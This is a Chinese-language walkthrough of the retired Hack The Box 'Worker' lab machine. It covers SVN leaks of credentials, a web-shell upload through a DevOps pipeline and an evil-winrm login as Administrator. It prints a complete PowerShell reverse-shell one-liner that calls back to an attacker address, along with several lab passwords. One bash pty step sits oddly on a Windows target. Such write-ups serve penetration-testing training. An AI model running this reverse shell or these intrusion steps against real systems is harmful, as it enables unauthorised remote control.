如何用HTB进行Worker渗透测试,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。
基础信息
简介:Hack The Box是一个在线渗透测试平台。可以帮助你提升渗透测试技能和黑盒测试技能,平台环境都是模拟的真实环境,有助于自己更好的适应在真实环境的渗透
描述:
注:因为是已经退役的靶机所以现在的ip地址与信息卡中的并不一致。
前言
本次演练使用kali系统按照渗透测试的过程进行操作,通过svn获取网站的版本信息与用户,通过管理界面上传木马文件或去shell,最终通过创建管道修改管理员密码获得root权限。
一、信息收集
1、靶机ip
2、靶机端口与服务
nmap -sV -A -O 10.129.2.29
PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 3690/tcp open svnserve Subversion
3、网站信息收集
使用diesearch进行目录扫描,获取的都是一些目前用不到的信息
使用svn查看已部署网站的早期版本
svn checkout svn://10.129.2.29 svn diff -r 2
用户:nathen
密码:wendel98
网站: http://devops.worker.htb
将该地址写入hosts文件重新进行访问
二、漏洞探测与利用
经过研究我们可以利用这个账号的权限来发布一些信息,并且这些信息可以为其他用户所用,我们可以利用这个权限上传一个木马文件并获取shell
操作如下:
操作完成后进入该链接反弹shell,这个过程要快一点,要是操作太慢链接就会失效
反弹shell的链接如下
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.5',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
三、提权
1、获取user.txt
获取交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
经过枚举我们获得了可用的账号与密码
用户:robisl
密码:wolves11
使用evil-winrm进行强制登录
链接:https://github.com/Hackplayers/evil-winrm
登录成功获取到user.txt
2、提权获取root.txt
接下来我们进行使用robisl登录管理界面,可以通过创建新的管道来更新管理员密码
使用evil-winrm进行强制登录获取root权限
ruby evil-winrm.rb -i 10.129.2.29 -u Administrator -p HTBworkerDone!
获取网站版本信息与用户之后进入了管理界面,在管理界面耽误了很长时间,因为不知道给页面有和作用耽误很长时间,中间反弹shell的时候一定尽量操作流畅迅速否则会反弹失败,自己在面对陌生的系统时不能很好的进行理解与利用有待提高。